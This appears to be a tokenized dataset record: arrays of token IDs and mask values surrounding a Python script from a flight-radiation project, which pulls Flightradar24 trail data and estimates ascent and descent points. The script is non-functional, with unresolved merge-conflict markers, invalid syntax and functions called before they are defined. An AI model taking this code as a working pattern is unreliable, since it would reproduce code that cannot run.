[ 3, 6642, 26, 221, 199, 3, 257, 377, 4964, 269, 510, 1508, 262, 199, 3, 257, 25645, 397, 699, 736, 446, 16230, 3686, 33, 3289, 22963, 4724, 2725, 199, 3, 257, 577, 1017, 390, 5719, 603, 11131, 5277, 83, 446, 1626, 265, 30377, 11650, 199, 3, 257, 603, 26788, 373, 265, 3835, 546, 374, 446, 2366, 650, 1844, 199, 3, 199, 3, 1666, 314, 5113, 570, 367, 18393, 2556, 12602, 675, 402, 642, 570, 14, 199, 199, 624, 10224, 491, 1175, 435, 8809, 1041, 199, 199, 646, 2838, 199, 893, 26, 272, 492, 8809, 199, 2590, 3545, 26, 272, 327, 2018, 650, 272, 687, 1455, 492, 1890, 465, 8809, 199, 504, 15142, 5333, 14, 9945, 2105, 492, 12213, 3225, 199, 504, 15142, 5333, 14, 15092, 14, 2764, 287, 273, 2096, 492, 6810, 4433, 421, 199, 533, 3101, 10224, 3225, 8, 12942, 14, 19114, 12, 6810, 4433, 304, 272, 408, 2765, 1021, 16879, 491, 91, 12942, 14, 19114, 93, 370, 2291, 12213, 1041, 339, 347, 636, 826, 721, 277, 12, 1591, 12, 1844, 29, 403, 12, 7478, 29, 403, 12, 8892, 2653, 29, 3450, 423, 13808, 63, 3472, 63, 8899, 12, 355, 1350, 63, 1562, 29, 403, 12, 355, 3434, 29, 403, 12, 2505, 29, 403, 12, 355, 6250, 10720, 29, 403, 12, 30471, 29, 403, 12, 355, 7739, 29, 403, 12, 355, 2202, 29, 403, 12, 355, 3686, 33, 3289, 22963, 4724, 29, 797, 12, 8892, 24757, 29, 797, 304, 267, 408, 2499, 282, 892, 3101, 10224, 3225, 14, 398, 2104, 1890, 6299, 12, 675, 1373, 402, 3520, 1423, 267, 15821, 26, 268, 446, 3434, 12, 2505, 334, 32527, 9, 268, 446, 6250, 10720, 12, 30471, 334, 6999, 9, 398, 2104, 1654, 6299, 12, 1265, 883, 1902, 19687, 641, 314, 267, 9227, 8567, 1061, 6299, 10585, 701, 12765, 48, 267, 503, 1265, 883, 886, 5897, 13, 6788, 1654, 267, 6299, 543, 1373, 402, 3520, 1423, 15821, 26, 268, 446, 671, 6576, 28521, 398, 12904, 13, 6788, 1654, 6299, 365, 9025, 543, 267, 12765, 48, 503, 5897, 13, 6788, 1890, 6299, 14, 398, 710, 3787, 1630, 440, 5147, 314, 12213, 14305, 6337, 12, 1325, 267, 9329, 14086, 3520, 2368, 367, 2945, 14, 221, 710, 14305, 365, 267, 10585, 1454, 1380, 642, 1021, 4839, 370, 4907, 543, 314, 267, 1654, 14, 221, 20227, 1265, 1077, 506, 16318, 370, 2429, 12213, 13, 6100, 267, 4967, 1380, 6358, 3102, 12623, 687, 267, 491, 91, 12942, 14, 19114, 93, 4066, 465, 1056, 1062, 4907, 1062, 436, 267, 3222, 1252, 221, 1666, 314, 1890, 14305, 3423, 315, 267, 491, 91, 32449, 14, 10224, 3225, 14, 10224, 3225, 93, 367, 2436, 641, 1314, 267, 4967, 5594, 506, 4915, 14, 398, 768, 466, 1591, 26, 620, 267, 768, 635, 1591, 26, 7146, 370, 4907, 370, 14, 398, 768, 466, 1844, 26, 1109, 267, 768, 635, 1844, 26, 10977, 370, 4907, 370, 14, 398, 768, 466, 3434, 26, 620, 267, 768, 635, 3434, 26, 12765, 48, 3434, 14, 221, 15127, 314, 267, 283, 2060, 7, 1423, 14, 398, 768, 466, 2505, 26, 620, 267, 768, 635, 2505, 26, 12765, 48, 2505, 367, 8567, 1061, 6299, 14, 267, 15127, 314, 283, 2473, 7, 1423, 14, 398, 768, 466, 6250, 10720, 26, 491, 91, 32449, 14, 88, 6576, 4736, 4429, 14, 56, 6576, 26464, 93, 503, 267, 768, 635, 6250, 10720, 26, 12904, 6036, 367, 1890, 6299, 14, 267, 15127, 314, 283, 4239, 1197, 7, 1423, 14, 221, 28554, 83, 314, 12765, 48, 2368, 14, 2728, 768, 466, 30471, 26, 491, 91, 32449, 14, 1208, 14, 13487, 498, 14, 12115, 1197, 93, 267, 768, 635, 30471, 26, 18551, 790, 367, 1890, 6299, 14, 267, 15127, 314, 283, 4736, 10720, 7, 1423, 14, 221, 28554, 83, 314, 12765, 48, 2368, 14, 221, 2728, 768, 466, 7739, 26, 491, 91, 32449, 14, 6743, 14, 3048, 93, 267, 768, 635, 7739, 26, 16975, 909, 2797, 2410, 4926, 609, 11124, 370, 4960, 9352, 314, 1950, 436, 746, 376, 2186, 340, 5784, 14, 3698, 398, 768, 466, 2202, 26, 491, 91, 32449, 14, 11913, 1751, 14, 26392, 5268, 93, 267, 768, 635, 2202, 26, 21107, 1785, 2202, 1314, 883, 506, 1202, 370, 3304, 267, 314, 30377, 11650, 12, 5897, 2943, 12, 436, 7799, 15, 10224, 5459, 267, 402, 22941, 701, 314, 1890, 14, 398, 768, 466, 3686, 33, 3289, 22963, 4724, 26, 2155, 267, 768, 635, 3686, 33, 3289, 22963, 4724, 26, 3686, 314, 377, 44, 4251, 3289, 22963, 4724, 547, 641, 4960, 10537, 30084, 384, 14, 267, 408, 267, 340, 1350, 63, 1562, 26, 288, 8809, 14, 19114, 855, 826, 721, 277, 12, 1591, 12, 1844, 12, 7478, 12, 4490, 2653, 12, 1350, 63, 1562, 9, 267, 340, 440, 1350, 63, 1562, 26, 288, 8809, 14, 19114, 855, 826, 721, 277, 12, 1591, 12, 1844, 12, 7478, 12, 4490, 2653, 9, 267, 291, 14, 4247, 33, 3289, 22963, 4724, 275, 3686, 33, 3289, 22963, 4724, 267, 6810, 4433, 855, 826, 721, 277, 12, 326, 3434, 12, 2505, 12, 20169, 6250, 10720, 12, 30471, 12, 326, 7739, 12, 326, 2202, 12, 20169, 24757, 9, 339, 347, 4907, 8, 277, 304, 267, 8809, 14, 19114, 14, 2242, 8, 277, 9, 267, 291, 14, 5096, 275, 12213, 3225, 8, 277, 14, 5096, 9, 267, 291, 14, 5096, 14, 4247, 33, 3289, 22963, 4724, 275, 291, 14, 4247, 33, 3289, 22963, 4724, 267, 6810, 4433, 423, 11913, 8, 277, 12, 291, 14, 5096, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 6642, 26, 221, 199, 3, 257, 377, 4964, 269, 510, 1508, 262, 199, 3, 257, 25645, 397, 699, 736, 446, 16230, 3686, 33, 3289, 22963, 4724, 2725, 199, 3, 257, 577, 1017, 390, 5719, 603, 11131, 5277, 83, 446, 1626, 265, 30377, 11650, 199, 3, 257, 603, 26788, 373, 265, 3835, 546, 374, 446, 2366, 650, 1844, 199, 3, 199, 3, 1666, 314, 5113, 570, 367, 18393, 2556, 12602, 675, 402, 642, 570, 14, 199, 199, 624, 10224, 491, 1175, 435, 8809, 1041, 199, 199, 646, 2838, 199, 893, 26, 272, 492, 8809, 199, 2590, 3545, 26, 272, 327, 2018, 650, 272, 687, 1455, 492, 1890, 465, 8809, 199, 504, 15142, 5333, 14, 9945, 2105, 492, 12213, 3225, 199, 504, 15142, 5333, 14, 15092, 14, 2764, 287, 273, 2096, 492, 6810, 4433, 421, 199, 533, 3101, 10224, 3225, 8, 12942, 14, 19114, 12, 6810, 4433, 304, 272, 408, 2765, 1021, 16879, 491, 91, 12942, 14, 19114, 93, 370, 2291, 12213, 1041, 339, 347, 636, 826, 721, 277, 12, 1591, 12, 1844, 29, 403, 12, 7478, 29, 403, 12, 8892, 2653, 29, 3450, 423, 13808, 63, 3472, 63, 8899, 12, 355, 1350, 63, 1562, 29, 403, 12, 355, 3434, 29, 403, 12, 2505, 29, 403, 12, 355, 6250, 10720, 29, 403, 12, 30471, 29, 403, 12, 355, 7739, 29, 403, 12, 355, 2202, 29, 403, 12, 355, 3686, 33, 3289, 22963, 4724, 29, 797, 12, 8892, 24757, 29, 797, 304, 267, 408, 2499, 282, 892, 3101, 10224, 3225, 14, 398, 2104, 1890, 6299, 12, 675, 1373, 402, 3520, 1423, 267, 15821, 26, 268, 446, 3434, 12, 2505, 334, 32527, 9, 268, 446, 6250, 10720, 12, 30471, 334, 6999, 9, 398, 2104, 1654, 6299, 12, 1265, 883, 1902, 19687, 641, 314, 267, 9227, 8567, 1061, 6299, 10585, 701, 12765, 48, 267, 503, 1265, 883, 886, 5897, 13, 6788, 1654, 267, 6299, 543, 1373, 402, 3520, 1423, 15821, 26, 268, 446, 671, 6576, 28521, 398, 12904, 13, 6788, 1654, 6299, 365, 9025, 543, 267, 12765, 48, 503, 5897, 13, 6788, 1890, 6299, 14, 398, 710, 3787, 1630, 440, 5147, 314, 12213, 14305, 6337, 12, 1325, 267, 9329, 14086, 3520, 2368, 367, 2945, 14, 221, 710, 14305, 365, 267, 10585, 1454, 1380, 642, 1021, 4839, 370, 4907, 543, 314, 267, 1654, 14, 221, 20227, 1265, 1077, 506, 16318, 370, 2429, 12213, 13, 6100, 267, 4967, 1380, 6358, 3102, 12623, 687, 267, 491, 91, 12942, 14, 19114, 93, 4066, 465, 1056, 1062, 4907, 1062, 436, 267, 3222, 1252, 221, 1666, 314, 1890, 14305, 3423, 315, 267, 491, 91, 32449, 14, 10224, 3225, 14, 10224, 3225, 93, 367, 2436, 641, 1314, 267, 4967, 5594, 506, 4915, 14, 398, 768, 466, 1591, 26, 620, 267, 768, 635, 1591, 26, 7146, 370, 4907, 370, 14, 398, 768, 466, 1844, 26, 1109, 267, 768, 635, 1844, 26, 10977, 370, 4907, 370, 14, 398, 768, 466, 3434, 26, 620, 267, 768, 635, 3434, 26, 12765, 48, 3434, 14, 221, 15127, 314, 267, 283, 2060, 7, 1423, 14, 398, 768, 466, 2505, 26, 620, 267, 768, 635, 2505, 26, 12765, 48, 2505, 367, 8567, 1061, 6299, 14, 267, 15127, 314, 283, 2473, 7, 1423, 14, 398, 768, 466, 6250, 10720, 26, 491, 91, 32449, 14, 88, 6576, 4736, 4429, 14, 56, 6576, 26464, 93, 503, 267, 768, 635, 6250, 10720, 26, 12904, 6036, 367, 1890, 6299, 14, 267, 15127, 314, 283, 4239, 1197, 7, 1423, 14, 221, 28554, 83, 314, 12765, 48, 2368, 14, 2728, 768, 466, 30471, 26, 491, 91, 32449, 14, 1208, 14, 13487, 498, 14, 12115, 1197, 93, 267, 768, 635, 30471, 26, 18551, 790, 367, 1890, 6299, 14, 267, 15127, 314, 283, 4736, 10720, 7, 1423, 14, 221, 28554, 83, 314, 12765, 48, 2368, 14, 221, 2728, 768, 466, 7739, 26, 491, 91, 32449, 14, 6743, 14, 3048, 93, 267, 768, 635, 7739, 26, 16975, 909, 2797, 2410, 4926, 609, 11124, 370, 4960, 9352, 314, 1950, 436, 746, 376, 2186, 340, 5784, 14, 3698, 398, 768, 466, 2202, 26, 491, 91, 32449, 14, 11913, 1751, 14, 26392, 5268, 93, 267, 768, 635, 2202, 26, 21107, 1785, 2202, 1314, 883, 506, 1202, 370, 3304, 267, 314, 30377, 11650, 12, 5897, 2943, 12, 436, 7799, 15, 10224, 5459, 267, 402, 22941, 701, 314, 1890, 14, 398, 768, 466, 3686, 33, 3289, 22963, 4724, 26, 2155, 267, 768, 635, 3686, 33, 3289, 22963, 4724, 26, 3686, 314, 377, 44, 4251, 3289, 22963, 4724, 547, 641, 4960, 10537, 30084, 384, 14, 267, 408, 267, 340, 1350, 63, 1562, 26, 288, 8809, 14, 19114, 855, 826, 721, 277, 12, 1591, 12, 1844, 12, 7478, 12, 4490, 2653, 12, 1350, 63, 1562, 9, 267, 340, 440, 1350, 63, 1562, 26, 288, 8809, 14, 19114, 855, 826, 721, 277, 12, 1591, 12, 1844, 12, 7478, 12, 4490, 2653, 9, 267, 291, 14, 4247, 33, 3289, 22963, 4724, 275, 3686, 33, 3289, 22963, 4724, 267, 6810, 4433, 855, 826, 721, 277, 12, 326, 3434, 12, 2505, 12, 20169, 6250, 10720, 12, 30471, 12, 326, 7739, 12, 326, 2202, 12, 20169, 24757, 9, 339, 347, 4907, 8, 277, 304, 267, 8809, 14, 19114, 14, 2242, 8, 277, 9, 267, 291, 14, 5096, 275, 12213, 3225, 8, 277, 14, 5096, 9, 267, 291, 14, 5096, 14, 4247, 33, 3289, 22963, 4724, 275, 291, 14, 4247, 33, 3289, 22963, 4724, 267, 6810, 4433, 423, 11913, 8, 277, 12, 291, 14, 5096, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
EvangelouSotiris/flightradiationcalc
main.py
1
5469
import time import requests ############################################################## ############## REQUESTS MANAGEMENT/ LINKS #################### ############################################################## headers = {'User-Agent' : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'} <<<<<<< HEAD flight = input('Enter the number of your flight: ') firstpart = 'https://data-live.flightradar24.com/clickhandler/?version=1.5&flight=' r = requests.get(firstpart+flight, headers = headers) ======= r = requests.get('https://data-live.flightradar24.com/clickhandler/?version=1.5&flight=dfa6132', headers = headers) >>>>>>> refs/remotes/GiorgosNikitopoulos/master jsoned_response = r.json() global limit = len(jsoned_response['trail']) #no need to declare that in every function ############################################################## ################### INITIALISATIONS ########################## ############################################################## each_derivative = [None] * (limit - 1) risingSpeed = [None]*limit enRouteAlts = [0]*12 enRouteTimestamps = [0]*12 enRouteCounter = 0 #position on enRoute matrixes possibleLastTimestamp = 0 #last timestamp of enroute flight - start of descension each_derivative = [None] * (limit - 1) y = [None] * (limit) #initialisation y-altitude , x-time and dy/dx derivative x = [None] * (limit) first_time_derivative_flag = 0 first_time_derivative_zero_flag = 0 ############################################################## ################# MAIN PROGRAM/ LOOPS ######################## ############################################################## ## Getting requests - heights , timestamps , and alt changing speed measurement ## needed in functions ## for i in range(0, limit): global y[i] = jsoned_response['trail'][limit - 1 - i]['alt'] #values of altitudes if y[i] == None: print 'y is none in ' + str(i) break global x[i] = jsoned_response['trail'][limit - 1 - i]['ts'] #values of timestamps if x[i] == None: print 'x is none in ' + str(i) break #Break statements if x or y values are none (can't be used) if (i>0 && x[i-1]!= None && y[i-1]!= None): global each_derivative[i - 1] = float(float((y[i] - y[i-1])) / float((x[i] - x[i-1]))) #each derivative = speed of changing altitudes print x[i] print y[i] print each_derivative[i] ## Getting the response points where ascension ends and descension starts ascensionFinishPoint = get_ascension_point(jsoned_response) descensionStartingPoint = get_descension_point(jsoned_response) ############################################################## ################### FUNCTIONS ################################ ############################################################## ## Functions for ascension and descension points def get_ascension_point(jsoned_response): counter_ascend = 0 #counter will help us decide the stage of flight for i in range(0, limit): if(each_derivative[i] < 10 and each_derivative[i] > 0): #If u>10 for 6+ successive points=>ascension if(first_time_derivate_flag == 0): first_time_derivate_flag = 1 possible_ascention_point = i counter_ascend = counter_ascend + 1 print("counter_ascend = " , counter_ascend) counter_descend = 0 else: counter_ascend = 0 first_time_derivate_flag = 0 if(counter_ascend > 0 or first_time_derivative_zero_flag == 1): first_time_derivative_zero_flag = 1 if(each_derivative[i] < 5 and each_derivative[i + 1] < 5 and each_derivative[i + 2] < 5): print ("snap_ascend") if(counter_ascend >= 15): #into ascension stage ascend_point = i print ("snap_ascend") def get_descension_point(jsoned_response): counter_descend = 0 for i in range(0, limit): if(each_derivative[i] > -10 and each_derivative[i] < 0 and y[i] > 18000): #If u>10 for 6+ successive points=>ascension if(first_time_derivate_flag == 0): first_time_derivate_flag = 1 possible_ascention_point = i counter_descend = counter_descend + 1 print("descend = " , counter_descend) else: counter_descend = 0 first_time_derivate_flag = 0 if(counter_descend > 0 or first_time_derivative_zero_flag == 1): first_time_derivative_zero_flag = 1 if(each_derivative[i] > -5 and each_derivative[i + 1] > -5 and each_derivative[i + 2] > -5): print ("snap_descend") if(counter_descend >= 15): #into ascension stage descend_point = i print ("snap_descend") ############################################################## ############### OLD COMMITS/MAYBE USEFUL ##################### ############################################################## ##ARTIFACT ######## EN ROUTE STAGE # if (each_derivative>-5 and each_derivative<5): #En route stage of flight #######CHANGEABLE # counter_ascend = 0 # counter_descend = 0 # # print ("snap_enroute") # if (enRouteAlts[enRouteCounter] == 0): #1st time into en route stage # enRouteAlts[enRouteCounter] = y[i] # enRouteTimestamps[enRouteCounter] = x[i] #x1 time airplane got into that altitude # if (abs(y[i]-enRouteAlts[enRouteCounter])>1000): #more than 1000 feet is considered another en route alt #######CHANGEABLE # enRouteTimestamps[enRouteCounter] = x[i]-enRouteTimestamps[enRouteCounter] #x2-x1 time airplane stayed into former alt # enRouteCounter = enRouteCounter + 1 #next altitude/timestamp matrix pos # enRouteAlts[enRouteCounter] = y[i] #new alt # enRouteTimestamps[enRouteCounter] = x[i] #x1 timestamp of new alt
gpl-3.0
[ 646, 900, 199, 646, 4145, 199, 199, 26207, 3726, 199, 516, 3726, 31325, 51, 26688, 1254, 9591, 15, 19774, 51, 21905, 381, 199, 26207, 3726, 199, 199, 2139, 275, 791, 1899, 13, 7788, 7, 520, 283, 22285, 15, 21, 14, 16, 334, 56, 845, 27, 31631, 27, 10130, 671, 1184, 63, 772, 27, 4336, 26, 2528, 14, 16, 9, 30506, 15, 1797, 4587, 614, 24584, 15, 2528, 14, 16, 936, 199, 31275, 8999, 28, 13053, 199, 28807, 275, 1324, 360, 8468, 314, 1329, 402, 2195, 289, 4040, 26, 5320, 199, 2246, 2064, 275, 283, 2859, 921, 576, 13, 6442, 14, 28807, 345, 4460, 1194, 14, 957, 15, 4891, 2232, 10197, 1023, 29, 17, 14, 21, 6, 28807, 534, 199, 82, 275, 4145, 14, 362, 8, 2246, 2064, 11, 28807, 12, 2323, 275, 2323, 9, 199, 18673, 199, 82, 275, 4145, 14, 362, 360, 2859, 921, 576, 13, 6442, 14, 28807, 345, 4460, 1194, 14, 957, 15, 4891, 2232, 10197, 1023, 29, 17, 14, 21, 6, 28807, 29, 26520, 23318, 297, 2323, 275, 2323, 9, 199, 28375, 6071, 15749, 15, 21420, 744, 15, 30815, 1308, 736, 46, 3258, 390, 411, 810, 11560, 15, 4133, 199, 3596, 28918, 63, 1310, 275, 519, 14, 1001, 342, 199, 2966, 2304, 275, 822, 8, 3596, 28918, 63, 1310, 459, 15732, 1105, 327, 889, 1929, 370, 20771, 626, 315, 4036, 805, 199, 199, 26207, 3726, 199, 749, 5680, 26105, 1311, 12969, 11945, 309, 199, 26207, 3726, 199, 199, 10885, 63, 26851, 275, 359, 403, 61, 627, 334, 3097, 446, 413, 9, 199, 322, 1044, 15146, 275, 359, 403, 3672, 3097, 199, 287, 7161, 2439, 1086, 275, 359, 16, 3672, 713, 199, 287, 7161, 10239, 83, 275, 359, 16, 3672, 713, 199, 287, 7161, 11348, 275, 378, 327, 3124, 641, 655, 7161, 3634, 397, 199, 13893, 6090, 10239, 275, 378, 327, 2019, 4913, 402, 655, 4449, 289, 4040, 446, 1343, 402, 4328, 287, 438, 199, 199, 10885, 63, 26851, 275, 359, 403, 61, 627, 334, 3097, 446, 413, 9, 199, 89, 275, 359, 403, 61, 627, 334, 3097, 9, 327, 2747, 19914, 612, 13, 27539, 2360, 671, 13, 521, 436, 13119, 15, 8373, 18883, 199, 88, 275, 359, 403, 61, 627, 334, 3097, 9, 199, 2246, 63, 521, 63, 26851, 63, 4173, 275, 378, 199, 2246, 63, 521, 63, 26851, 63, 4262, 63, 4173, 275, 378, 199, 199, 26207, 3726, 199, 749, 3, 4828, 568, 3611, 10896, 15, 3412, 21665, 11945, 199, 26207, 3726, 199, 199, 309, 20703, 4145, 446, 946, 2492, 2360, 22496, 2360, 436, 8791, 13729, 8112, 18216, 925, 4346, 315, 3423, 925, 199, 509, 284, 315, 1425, 8, 16, 12, 2304, 304, 199, 198, 2966, 612, 59, 73, 61, 275, 8586, 28918, 63, 1310, 459, 15732, 3488, 3097, 446, 413, 446, 284, 2733, 4478, 418, 327, 1459, 402, 741, 6403, 26783, 199, 198, 692, 612, 59, 73, 61, 508, 488, 26, 507, 198, 1361, 283, 89, 365, 7179, 315, 283, 435, 620, 8, 73, 9, 507, 198, 4785, 199, 198, 2966, 671, 59, 73, 61, 275, 8586, 28918, 63, 1310, 459, 15732, 3488, 3097, 446, 413, 446, 284, 2733, 1086, 418, 327, 1459, 402, 22496, 199, 198, 692, 671, 59, 73, 61, 508, 488, 26, 507, 198, 1361, 283, 88, 365, 7179, 315, 283, 435, 620, 8, 73, 9, 507, 198, 4785, 327, 13948, 9834, 340, 671, 503, 612, 1338, 787, 7179, 334, 2425, 1133, 506, 1202, 9, 199, 198, 692, 334, 73, 30, 16, 10883, 671, 59, 73, 13, 17, 61, 1111, 488, 10883, 612, 59, 73, 13, 17, 61, 1111, 488, 304, 507, 198, 2966, 1924, 63, 26851, 59, 73, 446, 413, 61, 275, 2069, 8, 1609, 1332, 89, 59, 73, 61, 446, 612, 59, 73, 13, 17, 2459, 1182, 2069, 1332, 88, 59, 73, 61, 446, 671, 59, 73, 13, 17, 11845, 327, 10885, 18883, 275, 8112, 402, 13729, 741, 6403, 26783, 199, 198, 1361, 671, 59, 73, 61, 199, 198, 1361, 612, 59, 73, 61, 199, 198, 1361, 1924, 63, 26851, 59, 73, 61, 199, 199, 309, 20703, 314, 1177, 4501, 2382, 465, 2497, 438, 11187, 436, 4328, 287, 438, 9174, 199, 305, 2497, 438, 22084, 3428, 275, 664, 63, 305, 2497, 438, 63, 1403, 8, 3596, 28918, 63, 1310, 9, 199, 3257, 287, 438, 14139, 3428, 275, 664, 63, 3257, 287, 438, 63, 1403, 8, 3596, 28918, 63, 1310, 9, 199, 199, 26207, 3726, 199, 749, 5680, 21498, 19560, 10371, 199, 26207, 3726, 199, 199, 309, 17471, 367, 465, 2497, 438, 436, 4328, 287, 438, 4501, 199, 199, 318, 664, 63, 305, 2497, 438, 63, 1403, 8, 3596, 28918, 63, 1310, 304, 199, 198, 5337, 63, 10125, 500, 275, 378, 327, 5337, 911, 1720, 2739, 19822, 314, 9546, 402, 289, 4040, 421, 198, 509, 284, 315, 1425, 8, 16, 12, 2304, 304, 507, 198, 692, 8, 10885, 63, 26851, 59, 73, 61, 665, 1616, 436, 1924, 63, 26851, 59, 73, 61, 690, 378, 304, 327, 3917, 399, 30, 709, 367, 1227, 11, 27028, 3398, 4501, 28266, 305, 2497, 438, 686, 198, 692, 8, 2246, 63, 521, 63, 9910, 2409, 63, 4173, 508, 378, 304, 1585, 198, 2246, 63, 521, 63, 9910, 2409, 63, 4173, 275, 413, 1585, 198, 13893, 63, 305, 2497, 296, 63, 1403, 275, 284, 686, 198, 5337, 63, 10125, 500, 275, 7055, 63, 10125, 500, 435, 413, 686, 198, 1361, 480, 5337, 63, 10125, 500, 275, 298, 2360, 7055, 63, 10125, 500, 9, 686, 198, 5337, 63, 18180, 275, 378, 507, 198, 2836, 26, 686, 198, 5337, 63, 10125, 500, 275, 378, 686, 198, 2246, 63, 521, 63, 9910, 2409, 63, 4173, 275, 378, 507, 198, 692, 8, 5337, 63, 10125, 500, 690, 378, 503, 1642, 63, 521, 63, 26851, 63, 4262, 63, 4173, 508, 413, 304, 686, 198, 2246, 63, 521, 63, 26851, 63, 4262, 63, 4173, 275, 413, 686, 198, 692, 8, 10885, 63, 26851, 59, 73, 61, 665, 959, 436, 1924, 63, 26851, 59, 73, 435, 413, 61, 665, 959, 436, 1924, 63, 26851, 59, 73, 435, 499, 61, 665, 959, 304, 1585, 198, 1361, 1689, 10002, 63, 10125, 500, 531, 2742, 198, 692, 8, 5337, 63, 10125, 500, 2356, 4114, 304, 327, 9924, 465, 2497, 438 ]
[ 900, 199, 646, 4145, 199, 199, 26207, 3726, 199, 516, 3726, 31325, 51, 26688, 1254, 9591, 15, 19774, 51, 21905, 381, 199, 26207, 3726, 199, 199, 2139, 275, 791, 1899, 13, 7788, 7, 520, 283, 22285, 15, 21, 14, 16, 334, 56, 845, 27, 31631, 27, 10130, 671, 1184, 63, 772, 27, 4336, 26, 2528, 14, 16, 9, 30506, 15, 1797, 4587, 614, 24584, 15, 2528, 14, 16, 936, 199, 31275, 8999, 28, 13053, 199, 28807, 275, 1324, 360, 8468, 314, 1329, 402, 2195, 289, 4040, 26, 5320, 199, 2246, 2064, 275, 283, 2859, 921, 576, 13, 6442, 14, 28807, 345, 4460, 1194, 14, 957, 15, 4891, 2232, 10197, 1023, 29, 17, 14, 21, 6, 28807, 534, 199, 82, 275, 4145, 14, 362, 8, 2246, 2064, 11, 28807, 12, 2323, 275, 2323, 9, 199, 18673, 199, 82, 275, 4145, 14, 362, 360, 2859, 921, 576, 13, 6442, 14, 28807, 345, 4460, 1194, 14, 957, 15, 4891, 2232, 10197, 1023, 29, 17, 14, 21, 6, 28807, 29, 26520, 23318, 297, 2323, 275, 2323, 9, 199, 28375, 6071, 15749, 15, 21420, 744, 15, 30815, 1308, 736, 46, 3258, 390, 411, 810, 11560, 15, 4133, 199, 3596, 28918, 63, 1310, 275, 519, 14, 1001, 342, 199, 2966, 2304, 275, 822, 8, 3596, 28918, 63, 1310, 459, 15732, 1105, 327, 889, 1929, 370, 20771, 626, 315, 4036, 805, 199, 199, 26207, 3726, 199, 749, 5680, 26105, 1311, 12969, 11945, 309, 199, 26207, 3726, 199, 199, 10885, 63, 26851, 275, 359, 403, 61, 627, 334, 3097, 446, 413, 9, 199, 322, 1044, 15146, 275, 359, 403, 3672, 3097, 199, 287, 7161, 2439, 1086, 275, 359, 16, 3672, 713, 199, 287, 7161, 10239, 83, 275, 359, 16, 3672, 713, 199, 287, 7161, 11348, 275, 378, 327, 3124, 641, 655, 7161, 3634, 397, 199, 13893, 6090, 10239, 275, 378, 327, 2019, 4913, 402, 655, 4449, 289, 4040, 446, 1343, 402, 4328, 287, 438, 199, 199, 10885, 63, 26851, 275, 359, 403, 61, 627, 334, 3097, 446, 413, 9, 199, 89, 275, 359, 403, 61, 627, 334, 3097, 9, 327, 2747, 19914, 612, 13, 27539, 2360, 671, 13, 521, 436, 13119, 15, 8373, 18883, 199, 88, 275, 359, 403, 61, 627, 334, 3097, 